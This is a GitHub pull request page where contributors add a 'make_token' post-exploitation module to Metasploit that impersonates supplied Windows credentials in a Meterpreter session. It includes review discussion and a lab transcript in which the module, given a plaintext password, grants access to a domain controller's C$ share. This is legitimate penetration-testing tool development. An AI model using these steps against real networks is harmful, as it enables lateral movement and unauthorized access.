Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add update_token to MSF + make_token post-ex module #18022

Merged
merged 8 commits into from Jun 8, 2023

Conversation

attl4s
Copy link
Contributor

@attl4s attl4s commented May 24, 2023

This PR adds the ruby code needed to leverage the new update_token function explained at rapid7/metasploit-payloads#648, for Meterpreter's stdapi extension. It also adds a new post-ex module using the new functionality:

  • post/windows/manage/make_token

This module mimics Cobalt Strike's make_token command. In its default configuration, this module creates a new network security context with the specified logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and a new logon session is created and linked to that token. The token is then impersonated to acquire the new network security context. This module has no effect on local actions - only on remote ones (where the specified credential material is used) and it does not validate the credentials specified. For advanced users, the default logon type (LOGON32_LOGON_NEW_CREDENTIALS) can be changed to any other valid value.

An example can be seen below.

Example

The Meterpreter session is running as CAP\vegeta (low-priv domain user). With plaintext credentials, we can use the new module to act on behalf of CAP\bulma_da (domain admin) in the network. As can be seen, the directory listing call to \dc01\C$ works after using the module.

modules/post/windows/manage/make_token.rb Outdated Show resolved Hide resolved
modules/post/windows/manage/make_token.rb Outdated Show resolved Hide resolved

# send warning
if logontype == 'LOGON32_LOGON_NEW_CREDENTIALS'
print_warning("Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you have any context you can provide as to why this is only the case for this particular logon type?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe the LOGON32_LOGON_NEW_CREDENTIALS logontype is the only one that duplicates the original access token of the user, thus has no result on local actions. It only updates the logon session ID to a new logon session with the specified credentials for network access

@smcintyre-r7 smcintyre-r7 self-assigned this May 24, 2023
@smcintyre-r7 smcintyre-r7 added module needs-docs rn-modules release notes for new or majorly enhanced modules labels May 24, 2023
@github-actions
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

modules/post/windows/manage/make_token.rb Outdated Show resolved Hide resolved

def run
# Make sure we meet the requirements before running the script
fail_with(Failure::NoTarget, 'This module requires a meterpreter session') unless session.type == 'meterpreter'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

BadConfig might be a better fit for this error because the session is user configurable.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

39b4569 + 217df62 😋

attl4s and others added 2 commits May 25, 2023 18:55
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Jun 5, 2023

@attl4s The payloads side of this has been landed and the gem has been bumped so we're no longer blocked on that. The last two things we need for this to get landed is for the module docs to be written and for the module to be linted.

@smcintyre-r7 smcintyre-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Jun 5, 2023
@github-actions
Copy link

github-actions bot commented Jun 5, 2023

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@attl4s
Copy link
Contributor Author

attl4s commented Jun 6, 2023

@attl4s The payloads side of this has been landed and the gem has been bumped so we're no longer blocked on that. The last two things we need for this to get landed is for the module docs to be written and for the module to be linted.

Awesome! -> a34c3cf and ec948b5

smcintyre-r7 added a commit that referenced this pull request Jun 8, 2023
Add update_token to MSF + make_token post-ex module
@smcintyre-r7 smcintyre-r7 merged commit ec948b5 into rapid7:master Jun 8, 2023
30 checks passed
@smcintyre-r7
Copy link
Contributor

Everything looks good to me and I've gone ahead and landed this module.

msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.70:61682) at 2023-06-01 17:02:10 -0400
sessions -i -1
[*] Starting interaction with 5...

meterpreter > getuid
Server username: MSFLAB\aliddle
meterpreter > sysinfo
Computer        : WINDOWS-11-VM
OS              : Windows 10 (10.0 Build 22621).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x64/windows
meterpreter > ls \\\\dc\\C$
[-] stdapi_fs_stat: Operation failed: Access is denied.
meterpreter > run post/windows/manage/make_token username=smcintyre password=Password2! domain=msflab.local

[*] Executing rev2self to revert any previous token impersonations
[*] Executing LogonUserA with the flag LOGON32_LOGON_NEW_CREDENTIALS to create a new security context for msflab.local\smcintyre
[*] Impersonating the new security context...
[+] The session should now run with the new security context!
[!] Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)
meterpreter > getuid
Server username: MSFLAB\aliddle
meterpreter > ls \\\\dc\\C$
Listing: \\dc\C$
================

Mode              Size        Type  Last modified              Name
----              ----        ----  -------------              ----
040777/rwxrwxrwx  0           dir   2023-02-10 09:59:20 -0500  $Recycle.Bin
040777/rwxrwxrwx  0           dir   2022-08-05 15:16:50 -0400  Documents and Settings
040777/rwxrwxrwx  0           dir   2023-05-25 13:52:45 -0400  PerfLogs
040555/r-xr-xr-x  0           dir   2023-05-31 17:00:51 -0400  Program Files
040777/rwxrwxrwx  0           dir   2023-05-31 17:00:51 -0400  Program Files (x86)
040777/rwxrwxrwx  0           dir   2022-08-05 15:26:01 -0400  ProgramData
040777/rwxrwxrwx  0           dir   2022-08-05 15:16:50 -0400  Recovery
040777/rwxrwxrwx  0           dir   2023-02-10 12:53:39 -0500  System Volume Information
040555/r-xr-xr-x  0           dir   2023-02-10 09:59:14 -0500  Users
040777/rwxrwxrwx  0           dir   2023-05-30 08:36:40 -0400  Windows
100666/rw-rw-rw-  1342177280  fil   2023-06-01 08:37:35 -0400  pagefile.sys

meterpreter >

I made a few minor changes in d8870d7 to bring the module docs inline with the standard format and address the warnings from msftidy_docs.rb.

Thanks for this contribution!

@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Jun 8, 2023

Release Notes

This adds the post/windows/manage/make_token module which is capable of creating new tokens from known credentials and then setting them in a running instance of Meterpreter, which can allow that session to access resources it might not have previously been able to access.

@smcintyre-r7 smcintyre-r7 removed needs-docs needs-linting The module needs additional work to pass our automated linting rules labels Jun 8, 2023
@attl4s attl4s deleted the make_token branch June 9, 2023 06:57
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants